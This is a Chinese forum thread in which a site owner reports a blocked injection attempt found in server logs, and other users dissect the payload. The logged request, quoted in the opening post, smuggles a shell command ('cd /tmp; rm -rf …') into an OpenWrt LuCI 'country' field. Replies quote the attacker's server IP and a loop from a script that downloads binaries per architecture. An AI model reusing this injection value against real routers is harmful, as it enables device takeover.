喜报，网站被人注入了，似乎植入了个脚本到服务器

[已注销] · 2024-07-21T12:55:16+08:00

看见标题是不是以为注入成功了，诶！被拦截了！要不然服务器可能真的没首先今天看日志，诶，发现这样子的奇怪请求： /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+w...

这是扫描器扫的，扫的openwrt

#12 削除禁止目前这段木马一些语句Windows不支持，他搞不定的

#16 丰仔我这shell懂得不多

server ip get

#18 Googol 这是别人攻击者的ip，你想搞攻击想的神志不清了吧

#18 Googol 那是攻击方IP xiao tsa kuei

#19 0x24a Googol要是想攻击，直接被nodejs内置防火墙拦截hhhhhh

#20 削除禁止 server_ip=“87.121.112.42”

#22 Googol 这是攻击方的

#22 Googol 看来你是真de bi了

#23 削除禁止？？？？？？

#25 Googol 我靠这都分不清了

怎么可能是攻击方的？？？

#26 Googol 你好好看看

#26 Googol 你好好看看，那是攻击方的payload

#26 Googol 尝试让cmd的主机从87.121.112.42下载文件

好像是目录爆破代码

#32 Googol 寿头骨气

而且 $arch 没有被定义

#33 Googol for arch in $binarys

#34 0x24a for都看不懂了，神志不清了